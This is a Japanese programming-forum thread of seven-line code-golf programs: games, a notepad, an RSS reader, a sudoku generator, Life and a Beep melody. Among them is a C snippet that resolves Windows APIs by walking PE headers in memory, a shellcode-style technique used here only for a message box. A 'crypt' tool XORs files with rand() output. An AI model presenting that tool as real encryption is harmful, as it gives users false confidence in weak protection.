スカスカだったんで詰めた PHPSDYZD50L50PP50A5DLPQX5AA54LPRX5Gf50APSXH51u50APRX5A05v4PSXH50p5cNPYZRQRQh ZSSSSXKC74nPS4MP4IPSaH5az1FEaaCLAFHEABML0DDKKLIHA0AKDMKH0EHNCM0FLLDGMCKO0HJE JFADADADADCLILCCALK0F00NALHEIDHMJHLNCNNJBOMOKHMNCCB0AKD0EGMCLCD0JH00ADIKFDJE JF0EABMLLDDKGNEGMNEH00CCHN00K0HN00DCHN00AAHN00HCHN00GAHN00JAHNHDFLCHMCE0FLJE 00HF/+9876543210zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBAAAAAAAAA QmFzZTY0IERlY29kZXINCg== ====
>>677 ずれてるよね?何したいのかいまいち分からん
メッセージボックス VC++2008で動いたけど他は知らん long long a=0xc3c033660424448b;char *cp;short *sp;typedef int*(_stdcall*F)(); int s[8],*b,*c,*d,i,j;F A,B,C;void m(){for(;(short)*b-'ZM';b-=16384);c=&b[b[b[ 15]/4+30]/4+6];for(cp=(char*)b;i<4;i++){s[i]=c[i];}for(;j<c[0];j++){for(i=0; "GetProcAddress"[i]==cp[b[s[2]/4+j]+i];i++);if(i==15)break;}sp=(short*)&b[s[3] /4];A=(F)&b[b[sp[j]+(s[1]/4)]/4];B=(F)A(b,"LoadLibraryA");d=B("user32.dll");C= (F)A(d,"MessageBoxA");C(0,"Hello world!","7line",0);C=(F)A(b,"ExitProcess");C( 0);}_declspec(naked)WinMainCRTStartup(){b=((int*(*)())&a)();m();}
このスレを知って、弾幕風で1列79文字でテトリス作ってみたら18行…orz
http://www.geocities.co.jp/SiliconValley-Oakland/9951/ テキストに保存して弾幕風のscriptフォルダに入れれば動くはずです。
#東方弾幕風#Title[テトリス]#Text[]#ScriptVersion[2]script_enemy_main{function B
(let p,let q){return (trunc(p/16^q)%16);}let a=[17767,5533,17767,5533,9302,5530
,17768,345,22170,22170,22170,22170,9577,17818,9577,17818,5206,5481,17769,5209,
1110,4697,17770,5513,5482,26522,5482,26522];let n=rand_int(0,27);let q=0;let f=
[];let p=240;while(p){p--;f=[[1,0][p%12&&p%12!=11&&p<228]]~f;}@Initialize{
SetLife(1);ForbidShot(true);LastSpell;M;}@MainLoop{SetPlayerX(999);SetPlayerY(
999);yield;}task M{function K(let p){return GetKeyState(p) == KEY_PUSH;}
function J(let p,let q,let r,let s){let u=4;while(u){u--;r=B(a[n+s],u);q=[q,0]
[f[x+r%4+(y+trunc(r/4))*12+p]];}return q;}let t=0;let x=4;let y=0;loop{p=228;
while(p){p--;f[p]=[0,1][f[p]==1];}if(K(VK_LEFT)&&J(-1,1,1,0)){x--;}if(K(
VK_RIGHT)&&J(1,1,1,0)){x++;}if(K(VK_UP)&&J(0,1,1,[1,-3][n%4==3])){n+=[1,-3][n%4
==3]}if(K(VK_DOWN)||t==20){t=0;if(J(12,1,1,0)){y++;}else{p=4;while(p){p--;q=B(
a[n],p);f[x+q%4+(y+trunc(q/4))*12]=1;}p=19;while(p){p--;q=1;let r=1;while(r<11)
{q=[0,q][f[p*12+r]];r++;}if(q){AddScore(1);f=[1,0,0,0,0,0,0,0,0,0,0,1]~f[0..p*
12]~f[p*12+12..240];}}x=4;y=0;n=rand_int(0,27);if(!J(0,1,1,0)){ShootDownPlayer;
}}}p=0;while(p<4){q=B(a[n],p);f[x+q%4+(y+trunc(q/4))*12]=2;p++;}t++;yield;}}
@DrawLoop{p=240;while(p){p--;if(f[p]){DrawText("■",48+p%12*16,48+trunc(p/12)*
16,16,255);}}}}
だれか7行で海腹川背の挙動をシミュレートしてくれ
過疎すぎるな
そう思うならなんか貼れお
じゃあ横からだけどケータイで暇つぶしする用のじゃんけんマシン もしかしたら古い(弱い)バージョンを昔このスレに上げたような気も いかさまはしないけど、人の出した手のパターンを憶えてくるので 30点先取とかで連戦すると人はまず勝てないと思う <title>Janken Stadium</title><body onload="A.innerHTML=k"><p id=A align=center> </p><script type="text/javascript">"iicafiaxus";for(p=[i=a=b=u=0];i<81;p[i++]=0 )f=8;H=["グ","チ","パ"];function t(h){q=p[u]-p[u+1],r=p[u+1]-p[u+2],i=q>r;if(f- h)A.innerHTML=k+"<br><br>[COM]"+H[i+=i?q>-r-q:r<-r-q]+((i-=h)?(++i%3?b+"-<b>"+ ++a+"</b>":"<b>"+ ++b+"</b>-"+a):b+"-"+a)+H[f=h]+"[YOU]",++p[u+=h],u=u*3%27, setTimeout("f=8",5)}S=' <input type=button accesskey=',U=')" value="',V='">',T= ' onclick="t(';k=S+1+T+0+U+H[0]+V+S+2+T+1+U+H[1]+V+S+3+T+2+U+H[2]+V;</script>
<title>J</title><body onload="A.innerHTML=k"><p id=A align=center> </p><script type="text/javascript">"iicafiaxus";for(p=[i=a=b=u=0];i<81;p[i++]=0 )f=8;H=["グ","チ","パ"];function t(h){q=p[u]-p[u+1],r=p[u+1]-p[u+2],i=q>r;if(f- h)A.innerHTML=k+"<br><br>[COM]"+H[i+=i?q>-r-q:r<-r-q]+((i-=h)?(++i%3?b+"-<b>"+ ++a+"</b>":"<b>"+ ++b+"</b>-"+a):b+"-"+a)+H[f=h]+"[YOU]",++p[u+=h],u=u*3%27, setTimeout("f=8",5)}S=' <input type=button accesskey=',U=')" value="',V='">',T= ' onclick="t(';k=S+1+T+0+U+H[0]+V+S+2+T+1+U+H[1]+V+S+3+T+2+U+H[2]+V;</script>
これも onload に格納できないか?
あー、途中に引用符の入れ子があるのをなんとかすれば
誰か七行ICQ作ってくだしあ。
ネタがぬ
>>711 ・RSSリーダ
・対応しているRSSバージョンや言語は問わず
・できるだけ環境依存を避ける
>>712 711じゃないが面白そうなので作ってみた。
IEでのローカル動作のみなんで環境依存すぎるけど。
FireFox対応させるつもりだったが、ローカル動作では別サイト読みに行けないようなので断念。
<html><body><input id=A value=
http://netafull.net/index.rdf ><input type=button
value=ok onclick='(D=new ActiveXObject("MSXML2.DOMDocument")).async=0;D.load(A.
value);G=function(n,p){Q=n.selectSingleNode(p);return Q?Q.text:""};r="<h1>"+G(D
,"//title")+"</h1>"+G(D,"//dc:date");for(L=D.selectNodes("//item"),i=0;L.length
>i;N=L.item(i++),r+="<div style=\"border:1 solid\">"+G(N,"title").big().link(G(
N,"link"))+"<br>"+G(N,"dc:date").small()+"<br><hr>"+G(N,"description").replace(
/\n/g,"<br>")+"</div><br>");W.innerHTML=r;'><div id=W>
見た目次第で縮まるゆえに縮小化はキリがなさそうなので、7行に収まったところで止めました。
10行でメモ帳。 もうちょっと俺にやる気があれば9行くらいにはなったかもしれん document.write("<form name='F''>ファイル名: <input type=text value='index' " +"name='n'> <input type=button value='保存' onClick='S()'> <input type=" +"'button' value='開く' onClick='O()'><br><textarea name='t' style='widt" +"h:450px;height:200px;'></textarea></form>");function W(l, y){ p=new ActiveXObject("Scripting.FileSystemObject");i=p.OpenTextFile( "files/"+l,2,true);i.Write(y);i.Close();alert("保存しました。");return 0;} function E(n){p=new ActiveXObject("Scripting.FileSystemObject"); sp.OpenTextFile("files/"+n);Bs.ReadAll();s.Close();return B;} function S(){q=document.F.n.value;t=document.F.t.value;W(q,t); }function O(){q=document.F.n.value;t=E(q);document.F.t.value=t;}
ぱっと見動かないだろそれ
ローカルで動くはずだけど・・・ 一応動作確認してるし
と思ったけどなんか間違ってたので一箇所訂正 document.write("<form name='F''>ファイル名: <input type=text value='index' " +"name='n'> <input type=button value='保存' onClick='S()'> <input type=" +"'button' value='開く' onClick='O()'><br><textarea name='t' style='widt" +"h:450px;height:200px;'></textarea></form>");function W(l,y){ p=new ActiveXObject("Scripting.FileSystemObject");i=p.OpenTextFile( "files/"+l,2,true);i.Write(y);i.Close();alert("保存しました。");return 0;} function E(n){p=new ActiveXObject("Scripting.FileSystemObject"); sp.OpenTextFile("files/"+n);B=s.ReadAll();s.Close();return B;} function S(){q=document.F.n.value;t=document.F.t.value;W(q,t); }function O(){q=document.F.n.value;t=E(q);document.F.t.value=t;}
memo.htm <title>メモ帳</title><script>A=new ActiveXObject('Scripting.FIleSystemObject') document.write('ファイル名: <input id=N size=95><button onclick=o=A.OpenTextF\ ile(N.value);T.value=o.ReadAll();o.Close()>開く</button><button onclick=o=A.O\ penTextFile(N.value,2,true);o.Write(T.value);o.Close();alert("保存しました")>\ 保存</button><br><textarea id=T cols=99 rows=50>')</script>
>>718 echo "note" >> file
なんだろうね.メモ帳程度で糞重いGeckoやTridentを起動する気にはならない
しまった 1行 78文字にしてしまったww
79文字に納めてないし7行でもないけどテンキー練習ゲーム作ってみた 右から来る数字に足して10になるキーを押していく <body onkeydown=r(f|=event.keyCode+a.shift(p++)-106) onload=(c=function(){r(a.push(Math.random(setTimeout(c,(200-p)*5))*9+1|0))})(r=function(){for(s=p,f|=9<(i=a.length);i++<9;)s+='_';f||(B.innerHTML=s+a.join(''))},a=[],f=p=0)><tt id=B> 昔のインベーダゲームってこんなだったらしいね
ミス (200-p)*5 → 999-5*p
> 昔のインベーダゲームってこんなだったらしいね 「電卓で遊べる」インベーダーゲームね
電卓インベーダー懐かしいww どっかにあるかもしれんw探してみよう
>>721 いいなこれ
ついムキになってやってしまったw
テンキー付いてなかった
>>721 これはいい脳トレwwwww
足して10になる数字ってのがミソだなww
120過ぎると急に難しくなるな
>>721 楽しかった。やっぱりアイデア次第だよな〜
あとこのスレの題目に反してるけど、1レス分32行2048byteまでとかでもいいの?
それとこのスレ読み辛いんだけど、何か読むのに良い方法があるの?
7行でスクリプト書いてるのかなw
>>729 とりあえず貼ってみたら
いつのまにか誰かが7行にしてた、とかよくある。
ネタplz
7行でワープロ作ってくれ
ワープロってどんなんのを考えているんだろう
文章を編集して印刷できりゃワープロだろ。
上にあるメモ帳に print をつければ完成
わぁ(流石)プロですねぇ
[審議中]
<textarea>
印刷はprint()でいいよな、
分からんがこんなんで <title>メモ帳</title><script>A=new ActiveXObject('Scripting.FIleSystemObject') document.write('ファイル名: <input id=N size=95><button onclick=o=A.OpenTextF\ ile(N.value);T.value=o.ReadAll();o.Close()>開く</button><button onclick=(w=open(\ "memo.htm","a")).document.write(T.value);w.print()>印刷</button><button onclick=o=A.O\ penTextFile(N.value,2,true);o.Write(T.value);o.Close();alert("保存しました")>\ 保存</button><br><textarea id=T cols=99 rows=50>')</script>
>>741 期待通りの動作はしないと思うぞ
open は document にもあるし、close し忘れてる
改行はスペースになる
<TEXTAREA cols=80 rows=20 ONCHANGE="D.innerHTML=this.value"> </TEXTAREA><HR> <DIV ID=D></DIV> WYSIWYGなHTML作成支援エディタモドキできたよー
これはつまらんと言わざるをえない
<title>メモ帳</title><script>A=new ActiveXObject('Scripting.FIleSystemObject'); document.write('ファイル名: <input id=N size=99><b onclick=o=A.OpenTextFile(N.\ value);T.value=o.ReadAll();o.Close()>開く</b> <b onclick=o=A.OpenTextFile(N.va\ lue,2,true);o.Write(T.value);o.Close();alert("保存しました")>保存</b> <b oncli\ ck=(w=top.open(URL)).document.body.innerText=T.value;w.print()>印刷</b><br><te\ xtarea id=T cols=99 rows=40>')</script>
>>743 「適用(A)」ボタンを付けた方がいいと思う
>>746 ONCHANGEはフォーカス外れた時点で機能するので
<INPUT TYPE=BUTTON VALUE='適用'>
を<HR>の前にでも追加しよう
ネタ投下 ・IRCクライアント ・JavaScript+HTML ・最低限の動作 ・サーバにログインする ・チャンネルへのログイン、任意の発言文字列(とコマンド)の送受信
まずはIRCプロトコルに対応してるブラウザを探さないとな
よしブラウザ作るか。7行で
>>750 JavaScriptってあんま知らんのだけど
独自でコネクション確立ってできんのかい?
そんなことできたら今世紀最大のセキュリティホールとして語り継がれることになる気がする。
ActiveX 無しと言われたら IE では不可能だな
過去ログのdat探しに逆localtimeを作ったやつなんですけど、ついでなんでもうちょっと短くできないでしょか? エラーチェク付きもあったけど、とりあえず短い方で 使う時は、引数は3〜6こで、年 月 日(時 分 秒)です l2t.pl---------------- @A=@ARGV;$D=$A[2]-1;push@M,$_-2?31-$_*.86%2:28+C($A[0])for(0..$A[1]);$D+=C($_)? 366:365for(1970..$A[0]-1);$D+=$M[$_]for(1..$A[1]-1);print 60*(60*(24*$D+$A[3]-9 )+$A[4])+$A[5],$/;sub C{$R=$_[0]%4?0:1;$R=$_[0]%900-200||$_[0]%900-600?0:1if(! $_[0]%100);$R}
>>755 if(!$_[0]%100) は if( (!$_[0]) % 100) になるけど大丈夫?
757 :
756 :2008/04/01(火) 02:12:08
1970年から2^31秒経つ間に100で割り切れる閏年はないから、32bitシステムなら上手く動くね。 たぶん2100年まで生きないし実用上は問題ないか。 @A=@ARGV;$D=$A[2]-1;$D+=365+!($_%4)for 1970..$A[0]-1;$D+=$_-2?31-$_*.86%2:28+!( $A[0]%4)for 1..$A[1]-1;print 60*(60*(24*$D+$A[3]-9)+$A[4])+$A[5],$/;
もう一字縮めとく @A=@ARGV;$D=$A[2]-1;$D+=365+!($_%4)for 1970..$A[0]-1;$D+=$_-2?31-$_*.86%2:28+!( $A[0]%4)for 1..$A[1]-1;print$A[5]+60*(60*(24*$D+$A[3]-9)+$A[4]),$/;
>>755 timelocal は使わないでってこと?
use Time::Local; @A=@ARGV;print timelocal($A[5],$A[4],$A[3],$A[2],$A[1]-1,$A[0]-1900);
-1900は不要だな
perl -MTime::Local -e "print timelocal@ARGV[5,4,3,2],--$ARGV[1],@ARGV" 2008 4 1 6 5 4 ($Y,$M,$D,$h,$m,$s)=@ARGV;--$D;$D+=365+!($_%4)for 1970..$Y-1;$D+=$_-2?31-$_*.86 %2:28+!($Y%4)for 1..$M-1;print$s+60*(60*(24*$D+$h-9)+$m),$/
>>626 をマウスで動かすようにしてみた
普通に縮めたら 5行強だった
<body id=B onmousemove=with(event)X=x,Y=y,f=ctrlKey><script>for(s=99,m=[X=Y=f=i
=0];i++<s*s;)if(i%s&i/s&1){for(v=15;m[j=i+((r=(Math.random()*4|0)-2)%2?r*s:r+1)
];t=l=s-1);m[i]=m[j]=1}(K=function(){a=t+(165<Y||Y<135&&-1);b=l+(145<X||X<115&&
-1);if(!m[a*s+l]&0<=a&a<s)t=a;if(!m[t*s+b]&0<=b&b<s)l=b;o=v/2|0;for(h=i='';i<v*
v;h+=++i%v?'':'<br>')h+=(a=(i/v|0)-o+t)<0|(b=i%v-o+l)<0|s<=a|s<=b|m[a*s+b]?'■'
:a|b?a-t|b-l?'_':'自':e='終';B.innerHTML=h;t|l&&setTimeout(K,f*99||250)||alert
(e)})()</script>
Ctrl キーを押してると速くなる
Firefox で動くようにしても激重だったから IE 専で。
その IE で onload にまとめるとこれも激重になったから結局こうなった
764 :
755 :2008/04/01(火) 17:45:15
>>756 あー、そうですね
上手く動いてたから気付いてなかった
>>758 うーん、かなり短くなりますね
まだまだ勉強不足だ
>>759 実は、timelocalの存在に気付いたのは、作った後だったんです……
>>762 かなり短くなりましたね
俺は閏年判定をかなり厳密にやってたんですけど、やっぱり意味なかったんですねw
思いつきで作ってみた。 ⊂( ^ω^)⊃耐久走 <body onload='g={};for(i=10;i;g[--i]=p=m=c=k=0);b="<br>";R=(M=Math).random;F=M. floor;S=function(h,l){for(q="";l--;q+=h);return q};t=setInterval(function(){c+= k;k=0;for(j=9;j;g[j]=g[j---1]);p=R()<.4?F(R()*5)-2:p;a=g[1]+p;g[0]=a>-25?a<25?a :25:-25;d=++m+"m"+b+S("_",81)+b;for(j=m>800?8:F(m/100);j<10;d+=S("■",40-g[j]- j)+S(" ",j*2+1)+S("■",40+g[j]-j++)+b);X.innerHTML=d+S(" ",37+c)+"⊂(^ω^)⊃" ;if(M.abs(g[9]+c)>7)clearTimeout(t)},100)' onkeydown='k=event.keyCode-38'><pre style="font-size:50%" id=X> カーソルの左右でコースアウトしないように進むゲーム。100m毎に視界が縮まる。 IE、FireFox、Safariで確認。
グローバルを使うなと何回言えば分かるんだ!
それはいいけどさ、いろんな人が縮めてきたテクニックが一つも反映されてないんだが
769 :
デフォルトの名無しさん :2008/04/06(日) 11:57:15
メガデモでよくワームホール(トンネル)ってありますよね。 あれをお願いします。
<body onload='g={};for(i=10;i;g[--i]=p=m=c=k=0);b="<br>";with(Math) R=random,F=floor,A=abs;S=function(h,l){for(q="";l--;q+=h);return q}; t=setInterval(function(){c+=k;for(j=9;k=j;g[j]=g[--j]);p=R()<.4?F(R()*5 )-2:p;a=g[1]+p;g[0]=a>-25?a<25?a:25:-25;d=++m+"m"+b+S("_",81)+b;for(j= m>800?8:F(m/100);j<10;d+=S("■",40-g[j]-j)+S(" ",j*2+1)+S("■",40+g[j]- j++)+b);X.innerHTML=d+S(" ",37+c)+"⊂(^ω^)⊃";if(A(g[9]+c)>7)clearTimeout (t)},100)'onkeydown=k=event.keyCode-38><pre style="font-size:50%" id=X> with(Math)でちょっと短くなった
長く見えるけど、一行72文字と勘違いして改行したためです。
それはもういいよ
<body style="font-size:8"onload='g=[p=m=c=k=0,0,0,0,0,0,0,0,0,0];with(Math)R= random,F=floor,A=abs;S=function(h,l){for(q=h;--l;q+=h);return q};t=setInterval (function(){c+=k;for(j=9;k=j;g[j]=g[--j]);p=R()<.4?F(R()*5)-2:p;a=g[1]+p;g[0]= a>-25?a<25?a:25:-25;d=++m+"m"+(b="<br>")+S("_",81)+b;for(j=m>800?8:F(m/100);j< 10;d+=S("■",40-g[j]-j)+S(" ",j*2+1)+S("■",40+g[j]-j++)+b);if(A(g[9]+c)>7) clearTimeout(t);document.body.innerHTML=d+S(" ",37+c)+"⊂(^ω^)⊃"},100)' onkeydown=k=event.keyCode-38> もうちょっと
#include <windows.h> main(i){int a[]={0,293,0,293,0,-70,0,220,0,147,0,-70,0,220,0,147,0,-25,0,147, 220,293,110,20,110,293,385,460,110,20,110,440,110,460,110,-20,110,385,110,293, 110,30,110,-70,293,0,-70,0,220,0,147,0,-70,0,220,0,147,0,-25,0,147,220,293,110 ,20,110,293,385,460,110,20,110,440,110,460,110,-20,110,385,110,293,110,30,110, -70,293,147,0,147,293,385,440,220,110,220,0,440,147,55,-70,55,147,220,293,110, 0,110,-70,293,55,55,55,110,147,0,110,0,147,0,220,0,410,0,293,0,220,0,-25,0,55, 0,293,0,-70,0,220,0,147,0,-70,0,147,220,293,0,-67,0,220,0,147,0,-25,0,147,293, 440,147,110,147,440,147,55,147,55,147,-25,55,147,0,-15,0,110,0,147},b=0;printf ("Adieu\tby L.v.Beethoven");while(i<175)Beep(b+=a[i++]+440,400);} ベートーベン10行
間違えたw #include <windows.h> main(i){int a[]={0,293,0,293,0,-70,0,220,0,147,0,-70,0,220,0,147,0,-25,0,147, 220,293,110,20,110,293,385,460,110,20,110,440,110,460,110,-20,110,385,110,293, 110,30,110,-70,293,0,-70,0,220,0,147,0,-70,0,220,0,147,0,-25,0,147,220,293,110 ,20,110,293,385,460,110,20,110,440,110,460,110,-20,110,385,110,293,110,30,110, -70,293,147,0,147,293,385,440,220,110,220,0,440,147,55,-70,55,147,220,293,110, 0,110,-70,293,55,55,55,110,147,0,110,0,147,0,220,0,410,0,293,0,220,0,-25,0,55, 0,293,0,-70,0,220,0,147,0,-70,0,147,220,293,0,-67,0,220,0,147,0,-25,0,147,293, 440,147,110,147,440,147,55,147,55,147,-25,55,147,0,-15,0,110,0,147};printf ("Adieu\tby L.v.Beethoven");while(i<175)Beep(a[i++]+440,400);}
一部の音の調律が狂ってるっぽいけど面白い 他の曲も頼む エルガーの朝の挨拶とか
それよりうまく圧縮して7行に収めないか?
文字コードで表せる範囲に移してリテラルにして、 一文字づつ読ませて行ければ、7行になるかな。。。
#include <windows.h> main(i){int a[]={-70,-67,-25,-20,-15,0,20,30,55,110,147,220,293,385,410,440, 460};printf("Adieu\tby L.v.Beethoven");while(i<175)Beep(a["fmfmfaflfkfaflfkfc" "fklmjgjmnqjgjpjqjdjnjmjhjamfaflfkfaflfkfcfklmjgjmnqjgjpjqjdjnjmjhjamkfkmnplj" "lfpkiaiklmjfjamiiijkfjfkflfofmflfcfifmfaflfkfafklmfbflfkfcfkmpkjkpkikikcikfe" "fjfk"[i++]-'a']+440,400);}
782 :
デフォルトの名無しさん :2008/04/10(木) 18:34:49
> a["..."[i++]-'a'] 感動した
すげぇ 何が起こってるのか一瞬わからんかった
やっと日本でも紹介されたか
14KBって結構あるよな.
おし、じゃあ7行に縮めろ
ぷよぷよって今何バイト?
アルルがいなくなったので数えてない
コンパイルがこけたから知らない
<script> document.body.contentEditable=true; window.ondblClick=function(){a=window.open();a.document.write(document.body.innerHTML);} </script> 某スレで拾ってきた。 IEだとcontentEditableなんてのが使えるのか。
797 :
デフォルトの名無しさん :2008/04/29(火) 08:58:27
798 :
デフォルトの名無しさん :2008/04/29(火) 09:09:00
>>50 を思い出したようにPerlで数独問題の自動生成やってみてるけど難しいね
解法ならぐぐればわさわさ出てくるけど、生成はなぜか極端に少ない
# まあ、gnudoqとかJava版(タイムインターメディア)はあるけど
生成理論が簡単なだけに、実装が複雑になると凄いトリッキーな方法が
あるんじゃないかと思って苦戦中
自動生成って、定義が難しいよね。 解けないものや解が2つ以上あるものは論外だとして、 例えば完全体から1マス抜くだけでも生成だよね。 最低何マスとかいう制限つきになるのかな。 7行は可能そうに思える
解けないか否かは全マスについて縦横エリアを走査すれば楽に判断できる。
(勿論、コードを削ったり処理速度を上げようとすると楽とはいかないが)
雑誌に掲載するナンクロを生成するソフトなら、解が2つ以上というのは
支障があるかもしれないけど、普通に遊ぶ分には関係ないかも。
んで思ったんだが
>>800 の言葉を借りると、その「完全体」を作るのが
面倒って言ってるんじゃないかな。
>>801 > 解けないか否かは全マスについて縦横エリアを走査すれば楽に判断できる。
それは嘘。とけるかどうかの判定は多項式時間で出来ない
> んで思ったんだが
>>800 の言葉を借りると、その「完全体」を作るのが
> 面倒って言ってるんじゃないかな。
一瞬じゃないか?ちょっと作ってみる
803 :
デフォルトの名無しさん :2008/04/30(水) 19:53:03
>>802 縦横エリアを調べて同じ数があれば
成立しないから「解なし」じゃん
出来た。 楽に7行になったから、短縮の工夫はおろか、checkやらmapやら長いトークン使いまくり。 再帰をなくせば5行いけそう。ここから新規の問題を作成するのは大変そうだ。 #include <stdio.h> int map[100]={0};check(int c,int n){int i,v=10;while(v>0){i=c-v;while(map[i]&& map[i]!=n)i-=v;if(map[i])return 0;v-=9;}v=(c%10)/3+((c-10)/30)*3;while(c>10){c --;if((c%10)/3+((c-10)/30)*3!=v)continue;if(map[c]==n)return 0;}return 1;}main (int c,char** x) {if(c%10==0)return main(c+1,0);if(c==91)return 1;int i;for(i= 1;i<10;i++){map[c+9]=i;if(check(c+9,i)){if(main(c+1,0)){printf("%d%c",i,(c%10- 1)?' ':'\n');return 1;}}}return 0;}
>>803 それは自明だけど、縦横エリアには問題がないけど
解きすすめていくと絶対に解けないような場合は
判断できないよね。
>>804 速いな。7行って慣れるとこのスピードで出来るんだな
$ ./makesudoku -w 0 | ./checksudoku OK $ ./makesudoku --help -w 虫食いの数 --help ヘルプ こういう無駄なことやってみたいなw
>>805 問題の規模は盤面の大きさで決まるわけで
盤面の大きさはどうせ変わらないのだから
絶対に解けない=解が2つ以上ある
ということで判定できるんじゃね
809 :
デフォルトの名無しさん :2008/05/01(木) 01:18:38
解いてゆくと矛盾する解を忘れてるぞ。
ただ単にそれは解なしじゃないか
>>804 元ソース希望してもいい?
頭こんがらがってきたから整理して流れを見てみたい
>>812 このコードを1時間弱で書いたのか?
どういう手順(というか思考)で書いたのか激しく気になる。
>>812 コメアリ
一眠りしてから見てみるか・・・
>>813 そんなに複雑じゃ無かったよ。
まず書き始める前に、プログラム的に再帰が必須に思えるから
文字数減らすためにmain関数で再帰をすることを確定した。
それで次にmapは番兵つくればチェックの必要がなくなりそうだから
一つ余計に大きくして10x10のmapにした。
常に1を返すcheck関数を作って動作確認、とりあえずOKそう。
次にcheck関数を作る。関数にしたのは開発のためで、
文字数がきつければmain関数の中に埋め込むつもりだった。
自分の置いた場所より前に戻ってのみチェックをすればいいから、
縦にチェックするときは10ずつ、横にチェックするときは1ずつ引けばいい。
ここでもう一度動作確認、ここまでもOKそう。
最後、同じエリアに同じ数字があるかどうかのチェックコードは
エリアをuniqueな形に出力する数式を作ればとりあえずなんとかなりそう。
一番最初に思いついた数式をとりあえず使って動作確認、問題なし。
ためしにスペースを削ったら余裕で7行に収まったから最後に動作確認して終了。
ソースコードより長い・・・
>>816 誰がうまいこといえとwww
まぁ短くなればなるほど思想は長くなるわな
ファイルデータの半分以上をコメントが占めるスレ
Knuth先生が読んだら我が意を得たりと思うだろうか?
プログラムの説明がプログラムより長くなるのは普通の事だと思うが だから仕様記述言語はbtks
もともと短すぎてわからないんだもんなw
ハエーから7行専用マクロとか持ってるのかとオモタYO!
ま、楽しいコードもだいぶでたことだし、そろそろお開きにしてみては ど〜だ? 正直言ってこのスレ、最初は洒落てたけど、最近は駄スレ通り越して ちょっとヤバスレになりつつある。 この種の技術の鍛錬の善し悪しはグレーゾーンの真ん真ん中。 良い事なのか悪い事なのかスレスレの世界だ。 個人レベルで密やかにやることに戻ったらどーだ?
意味不明です。論理的に
>>825 そ、そうだったのか!
どうして気づいたのかkwsk!
若手への悪影響も考える潮時かもな
反応すんなよw
>>825 じゃ俺たち一同で「個人的に」楽しむから
お前一人だけこのスレ見ないでくれ。
やべー、このスレから逮捕者が出るのか?
おまいら縦読みにマジレスとか
もうこのスレが出来てから7年近い歳月が... その頃中学生だった奴も、もう大学生で就職活動をしてても おかしくない でも、このスレで育った子が社会に出るのはちと怖いのだが...
まさしく俺だな
と思ってる奴は救いがある。 こういうのは空気感染に近い性質があるからやっかいだ。 強い影響を受けているのは、物心付いたころにはすでにPCが あった世代。つーかPCと一緒に成長した世代。
影響を受けてなんの問題があるのか分からん
影響を受けるレベルじゃ駄目ってことだよ 影響を与えるレベルになって初めて意味がある
7行プログラミング能力が良い影響力を与えられるという信じるならおK 悪影響も与えるのではないかと懸念できたらもっと素晴らしい
日本語でおk
>>839 影響を受けることと影響を与えることは相反しないだろ
コード濃縮は、他人がしてるの見ると禁止したくなるものだが しかしそれは決してやってはならない。 コード濃縮する者は、原作者の人格権を尊重する。 これだけだな。いえることって。 可読性無視の7行スクリプト圧縮は、低速ネット回線 の時代は華だったけど、今じゃあんまりウケないテクだよな。 人格権を侵害してるとまでは思いたくないが。
掲示板にコンパクトな文章を書ける能力向上は良い影響 他人の文章を換骨奪胎して別のものに作り変えるのは悪い影響 (これも程度問題)
825 はたった七行でこのスレを活気付かせたのでした
846 :
デフォルトの名無しさん :2008/05/11(日) 11:50:08
イイハナシダナー
7、等えまお 行 は 書 け よ 。
産業以上は 読めま せん
#include <stdio.h> main(i){if(i!=8)printf("7lines\n"),main(++i); } ほい、産業
なんていうか実にアレだな
過疎 ↑ これを発音プログラム誰か作って
#include <stdio.h> main(){puts("\a\a");}
perlで低機能うpろだ 七行でどの程度の機能を実装できるかが勝負だなあ
ガードはきっちりと
サイドギャザーで多い日も安心 用途を絞れば、しっかり動くうpろだを作れそうだよね
use CGI":all" ww
>>858 面白いなw
でも1から作るのは面倒臭そうだな。。。
どれどれ
>>860 う・・・jsか・・・
ていうか、既にプログラムがあったとは見落としてたなぁ
864 :
デフォルトの名無しさん :2008/06/03(火) 23:48:47
#include<stdio.h> #include<stdlib.h> int main(int a,char *v[]){int c,r;FILE *i,*o;if(a<3||a>4||(i=fopen(v[1],"rb"))== NULL||(o=fopen(v[2],"wb"))==NULL){fputs("USAGE: crypt in out [pass] \n",stderr); return EXIT_FAILURE;}if(a==4)srand(atoi(v[3]));while((c=getc(i))!=EOF){do{r=rand ()/((RAND_MAX+1U)/256);}while(r>=256);putc(c^r,o);}return EXIT_SUCCESS;}/* :( */
EXIT_SUCCESSとかマクロがそのまま EOFは-1だっけ?
#include<stdio.h> #include<stdlib.h> main(c,v)char**v;{int r;FILE*i,*o;if(c<3||c>4||!(i=fopen(*++v,"rb"))||!(o=fope\ n(*++v,"wb")))fputs("USAGE: crypt in out [pass] \n",stderr),exit(1);if(*++v)sr\ and(atoi(*v));for(;(c=getc(i))+1;putc(c^r,o))do r=rand()/((RAND_MAX+1U)/256);w\ hile(r>=256);exit(0);} あとちょっとでもう一行減らせるんだがなあ… 処理系定義の型・マクロのせいで#include二行取られるのが痛いな。
実質5行ってのがつらいな ここはあえてjsでやってみるとか ちょうど参考になるソースもあるし
869 :
デフォルトの名無しさん :2008/06/11(水) 15:04:56
age
life.c #include <stdio.h> int main(){int i,j,g,y=22,x=78;char a[y+2][x+2],b[y+2][x+2];a[y/2][x/2]= a[y/2-1][x/2]=a[y/2+1][x/2]=a[y/2][x/2-1]=a[y/2-1][x/2+1]=1;for(g=1;g<999;g++){ printf("%4d\n",g);for(i=1;i<=y;i++) {for(j=1;j<=x;j++)if(a[i][j]){printf("*"); b[i-1][j-1]++;b[i-1][j]++;b[i-1][j+1]++;b[i][j-1]++;b[i][j+1]++;b[i+1][j-1]++; b[i+1][j]++;b[i+1][j+1]++;} else printf(".");printf("\n");}for(i=0;i<=y+1;i++) for(j=0;j<=x+1;j++){if(b[i][j]!=2)a[i][j]=(b[i][j]==3);b[i][j]=0;}}return 0;} 余白おおすぎ
871 :
デフォルトの名無しさん :2008/06/12(木) 12:09:35
あと1行ぐらいは削れそうだね
aが初期化されてないがこれはバグじゃないか
873 :
デフォルトの名無しさん :2008/06/12(木) 12:46:27
char a[y+2][x+2]={{0}},b[y+2][x+2]={{0}}; でいいのかな。
読みづらいね。
